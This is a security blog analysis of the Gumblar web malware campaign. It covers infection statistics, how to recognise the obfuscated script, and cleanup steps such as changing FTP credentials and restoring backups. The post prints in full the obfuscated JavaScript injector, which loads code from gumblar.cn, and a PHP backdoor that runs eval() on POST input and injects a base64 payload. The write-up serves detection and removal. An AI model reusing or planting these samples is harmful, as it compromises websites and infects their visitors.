Malware analysts from security vendor Sophos warn that the number of pages infected with the Gumblar malcious script has recently sky-rocketed, putting the exploit at the top of the list of Web threats. The impact of the previous record setter Mal/Iframe-F now dwarfs in comparison.
According to Sophos, Troj/JSRedir-R, otherwise known as the Gumblar exploit, after the rogue domain it points to, amounts to a whopping 42% of all infections on the Web today. Mal/Iframe-F occupies the second place, its number of infections being six times lower and accounting for only 7%.test
1 Infected web pages contain a script that looks like this
(function(jil){var xR5p='%';eval(unescape(('var"20a"3d"22Sc"72iptEngin"65"22"2c"62"3d"22"56ers"69on()+"22"2c"6a"3d"22"22"2cu"3dnavig"61t"6fr"2e"75s"65rAgent"3bif(("75"2eind"65xOf"28"22Win"22)"3e0)"26"26(u"2e"69n"64exO"66("22NT"20"36"22"29"3c0)"26"26(documen"74"2ecookie"2e"69ndex"4f"66"28"22"6die"6b"3d1"22)"3c0)"26"26"28t"79"70e"6ff("7arvzts)"21"3dtypeof("22A"22))"29"7bzrvzts"3d"22A"22"3b"65va"6c("22if(wi"6edow"2e"22+a+"22"29j"3d"6a+"22+a+"22M"61jo"72"22+"62"2ba+"22Minor"22"2bb+a+"22B"75"69ld"22"2bb"2b"22j"3b"22)"3bdocu"6de"6e"74"2ewr"69"74e("22"3csc"72ipt"20sr"63"3d"2f"2fgumblar"2ecn"2frss"2f"3fid"3d"22+j+"22"3e"3c"5c"2f"73cript"3e"22"29"3b"7d').replace(jil,xR5p)))})(/"/g);
2 Every infected site has it’s own modification of the script. However every modification has common parts and can be easily identified as the gumblar .cn script.
- The script starts with “(function(“
- The function has no name. It is anonymous and self-invoking.
- The script is obfuscated. I.e. some characters are replaced with their numeric codes, and then the “%” character replaced with some orbitrary character. Here are some sample excerpts of the encrypted data: “…20a.3d.22Sc.72iptEngin.65…“, “…~76ar~20a~3d~22Scr~69~70~74En~67~69ne…“, “…v_61_72_20_61_3d_22_53_63rip_74E_6e…“
- Near the end of the script there is a “.replace(” function
- If the function accepts parameters, at the very end you’ll find a simple regular expression like /”/g or /~/g, etc. that will decrypt the mangled “%” character.
3 When the script is executed (every time someone visits the infected web page), another script from “gumblar . cn/rss/” is silently loaded and executed.
4 This code is usually injected right before the <body> tag. I saw a web page with eight(!) <body> tags (yeah, invalid HTML) and the gumblar scripts were injected before each of them.
5 Sometimes I encounter this script on sites infected with the malicious iframes that I reviewed in my recent posts. So this exploit may use the same infection technique. And probably the same clean up steps may be applied.
6 Unlike the recent iframe exploits, where the malicious code was only injected into files with most common filenames (e.g. index.html, index.php, etc.) this gumblar script is injected into every web page.
7 This script is also injected into .js (JavaScript) files. Usually at the very bottom.
8 Maybe it’s just a coincidence but about 95% of the infected sites used PHP. It is not possible to say for sure if the rest sites used PHP. Who knows.
9 This exploit doesn’t use some particular script vulnerability. I encountered it on phpBB, SMF and vBulletin forums, on WordPress 2.7.1 blogs, on proprietary PHP sites.
10 Some people reported that the following code is injected into PHP files:
<?php if(!function_exists('tmp_lkojfghx')){if(isset($_POST['tmp_lkojfghx3']))
eval($_POST['tmp_lkojfghx3']);if(!defined(’TMP_XHGFJOKL’))
define(’TMP_XHGFJOKL’,base64_decode(’PHNjcmlwdCBsYW5ndWFnZT1qYXZhc2NyaXB0PjwhLS0gCihmdW5jdGlvbigpe3ZhciBFb0xTPSd2YXI8MjBhPDNkPDIyUzw2M3I8NjlwdDw0NW5naTw2ZWU8MjI8MmNiPDNkPDIyVmVyczw2OW88NmUoKSs8MjI8MmNqPDNkPDIyPDIyPDJjPDc1PDNkPDZlYXZpZ2F0b3I8MmV1czw2NTw3MkFnZW50PDNiaWYoKHU8MmVpPDZlPDY0ZXhPZig8MjJXaW48MjIpPDNlMCk8MjY8MjYodTwyZWluZGV4Tzw2NjwyODwyMjw0ZVQ8MjA2PDIyKTwzYzApPDI2PDI2KDw2NG9jdW1lPDZldDwyZWNvbzw2YmllPDJlaTw2ZWRleDw0ZmYoPDIyPDZkaTw2NTw2YjwzZDE8MjIpPDNjMCk8MjY8MjYodDw3OXA8NjVvZih6cjw3Nno8NzRzKTwyMTwzZHR5cGU8NmZmKDwyMjw0MTwyMikpPDI5PDdiPDdhcnZ6dHM8M2Q8MjJBPDIyPDNiZTw3NmFsKDwyMmlmKHc8NjluZG93PDJlPDIyK2ErPDIyKTw2YTwzZDw2YSs8MjI8MmJhKzwyMjw0ZGFqb3I8MjI8MmI8NjI8MmI8NjErPDIyTWlub3I8MjIrYis8NjErPDIyPDQydTw2OWxkPDIyPDJiYjwyYjwyMmo8M2I8MjIpPDNiZG9jPDc1bWVudDwyZXdyaTw3NGU8Mjg8MjI8M2NzPDYzcjw2OXB0PDIwczw3MmM8M2Q8MmY8MmZndTw2ZDw2Mmw8NjFyPDJlY248MmZyczw3MzwyZjwzZmlkPDNkPDIyK2orPDIyPDNlPDNjPDVjPDJmPDczY3JpcHQ8M2U8MjIpPDNiPDdkJzt2YXIgQ2l6PUVvTFMucmVwbGFjZSgvPC9nLCclJyk7ZXZhbCh1bmVzY2FwZShDaXopKX0pKCk7CiAtLT48L3NjcmlwdD4=’));
function tmp_lkojfghx($s){ if($g=(substr($s,0,2)==chr(31).chr(139)))$s=gzinflate(substr($s,10,-8));
if(preg_match_all(’#<script(.*?)</script>#is’,$s,$a))
foreach($a[0] as $v) if(count(explode(”\n”,$v))>5){
$e=preg_match(’#[\'"][^\s\'"\.,;\?!\[\]:/<>\(\)]{30,}#’,$v) || preg_match(’#[\(\[](\s*\d+,)20,}#’,$v);
if((preg_match(’#\beval\b#’,$v)&&($e||strpos($v,’fromCharCode’)))||($e&&strpos;($v,’[removed]‘)))$s=str_replace($v,”,$s);}
$s1=preg_replace(’#<script language=javascript><!– \ndocument\.write\(unescape\(.+?\n –></script>#’,”,$s);
if(stristr($s,’<body’)) $s=preg_replace(’#(\s*<body)#mi’,TMP_XHGFJOKL.’\1′,$s1);elseif(($s1!=$s)||stristr($s,’</body’)||stristr($s,’</title>’))$s=$s1.TMP_XHGFJOKL;return $g?gzencode($s):$s;}function tmp_lkojfghx2($a=0,$b=0,$c=0,$d=0){$s=array();if($b&&$GLOBALS['tmp_xhgfjokl'])call_user_func($GLOBALS['tmp_xhgfjokl'],$a,$b,$c,$d);foreach(@ob_get_status(1) as $v)if(($a=$v['name'])==’tmp_lkojfghx’)return;else $s[]=array($a==’default output handler’?false:$a);
for($i=count($s)-1;$i>=0;$i–){$s[$i][1]=ob_get_contents();ob_end_clean();}ob_start(’tmp_lkojfghx’);for($i=0;$i<count($s);$i++){ob_start($s[$i][0]);echo $s[$i][1];}}}
if(($a=@set_error_handler(’tmp_lkojfghx2′))!=’tmp_lkojfghx2′)
$GLOBALS['tmp_xhgfjokl']=$a;tmp_lkojfghx2();
?>
The base64-encoded part is this gumblar .cn script.
This PHP code, it’s structure and variable names (tmp_lkojfghx, tmp_lkojfghx3, TMP_XHGFJOKL) are the same as in the infamous fake Yahoo counter exploit. Only the injected javascript is different. Maybe it was created by the same people, or maybe just the same exploitation kit was used.
11 This is not a server-wide exploit. I checked several servers with infected sites. Most of the neighbor sites were clean.
12 Gumblar .cn domain is currently blacklisted by Google.
Removal
Most likely this exploit is caused by compromised FTP credentials. So start with your own computer. Scan it for spyware. Some people reported good results with Malwarebytes.
Then (from a clean computer) change FTP passwords.
Try not to store them inside programs that you use to upload files to a server.
Whenever possible use secure connections. I.e. use SFTP instead of plain FTP. Many shared hosting plans include SFTP.
Finally, remove the malicious code from all server files (.html, .php, .js, etc.). The easiest way to do it, is replace them with clean files from a backup. | 
